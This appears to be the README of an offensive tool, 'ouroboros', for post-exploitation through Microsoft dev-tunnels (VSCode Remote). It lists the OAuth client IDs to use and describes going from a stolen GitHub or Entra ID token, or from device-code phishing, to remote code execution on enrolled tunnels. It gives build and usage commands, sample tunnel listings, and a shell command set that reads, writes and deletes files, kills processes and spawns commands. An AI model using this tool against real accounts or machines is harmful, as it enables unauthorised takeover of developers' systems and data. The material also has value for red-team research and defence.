Microsoft dev-tunnels are used as part of the VSCode Remote Connect functionality, however the protocol supports a number of low-level utility functions.

What can it be used for?

Authentication to dev-tunnels uses one of the following OAuth methods:

GitHub Account - A client ID of 01ab8ac9400c4e429b23
Azure Account - A client ID of aebc6443-996d-45c2-90f0-388ff96faa56

GitHub Post-Exploitation

If you have compromised a GitHub account, it is possible to enumerate any dev-tunnels associated with that account by authorizing the "Visual Studio Code" OAuth2 application:

This application also allows Device Code registration, meaning that you can go from OAuth2 Device Code Phishing to RCE on any enrolled dev-tunnels.

Entra-ID Post-Exploitation

There are a few ways to use this for Entra ID connected tunnels.

For FOCI, you can use any Client ID which is part of FOCI and also has the Dev Tunnels Service resource available. The one that stands out is 872cd9fa-d31f-45e0-9eab-6e460a02d1f1 (Visual Studio - Legacy).

Alternatively, the Visual Studio Code aebc6443-996d-45c2-90f0-388ff96faa56 Client ID is used by VSCode to connect users.

Usage

To build:

cd ouroboros
cargo build

Usage

First you'll need to list out any existing tunnels. You can do this with:

./ouroboros management --token [GITHUB/AZURE TOKEN]

The list of tunnels returned will look like this:

Tunnel List:
Name: sneaky-fog-s5llk1t
        Labels: ["prometheus", "protocolv4", "vscode-server-launcher", "_flag3"]
        Created: "2025-11-03T11:20:51.376614Z"

Name: interesting-horse-lztwqbj
        Labels: ["serenitylocal", "protocolv4", "vscode-server-launcher", "_flag8"]
        Created: "2026-04-13T11:54:57.1330336Z"

You can then spawn a virtual shell with:

./ouroboros --name interesting-horse-lztwqbj --token [GITHUB/AZURE TOKEN]

Several commands are supported:

>> help
Available commands:
  help
  gethostname
  get_env
  sys_kill <pid>
  fs_stat <path>
  fs_read <path>
  fs_write <path> <data>
  fs_rm <path>
  fs_mkdirp <path>
  fs_readdir <path>
  fs_rename <from_path> <to_path>
  spawn <command> [args...]

Patching russh

(Not needed as russh is already patched in this repo)...

Because dev-tunnels uses a weird protocol deviation (clients use the forwarded-tcpip channel which is usually for servers), a patch is required to russh which lives in russh.patch.

This can be applied with:

cd russh
git apply ../patch/russh.patch